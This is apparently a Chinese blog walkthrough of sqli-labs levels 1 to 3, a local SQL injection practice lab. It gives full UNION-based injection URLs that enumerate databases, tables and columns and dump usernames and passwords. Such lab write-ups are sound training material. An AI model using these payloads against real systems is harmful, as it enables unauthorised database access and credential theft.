sqli-labs通关笔记

sql-labs是练习sql注入的优质靶场,其中包含各种各样注入姿势,通过这篇文章记录一下各种技巧。

Basic Challenges

Less-1

经过尝试,存在报错,可以判断为字符型注入,闭合方式为 ' 

首先使用 order by 判断一下字段数,有报错信息可以知道,存在3个字段。

http://127.0.0.1:3000/Less-1/?id=1' order by 4--+

 

 接下来结合联合查询,查都有哪些数据库:

http://127.0.0.1:3000/Less-1/?id=-1'union select 1,2,group_concat(schema_name) from information_schema.schemata --+

查询当前数据库:

http://127.0.0.1:3000/Less-1/?id=-1' union select 1,2,database() --+

查表:

http://127.0.0.1:3000/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

查字段:

http://127.0.0.1:3000/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

查数据:

http://127.0.0.1:3000/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

Less-2

 确定注入类型为数值型,所以不用加引号,直接使用 id=1。剩余步骤和 LESS1 相同。

http://127.0.0.1:3000/Less-2/?id=-1 order by 4 --+

 最终payload为:

http://127.0.0.1:3000/Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from users --+

Less-3

首先也是判断注入变量类型。' 会报错," 和 ()都没有报错,所以猜测SQL语句为 $SQL = "select * from database where id= ('$id') LIMIT 0,1" 这样的形式 。

确定好变量形式之后就是常规的查库、查表、查字段了。和前面基本一样,最终payload为:

http://127.0.0.1:3000/Less-3/?id=-1') union select 1,group_concat(username),group_concat(password) from users --+

 

原文地址:https://www.cnblogs.com/s1awwhy/p/14593357.html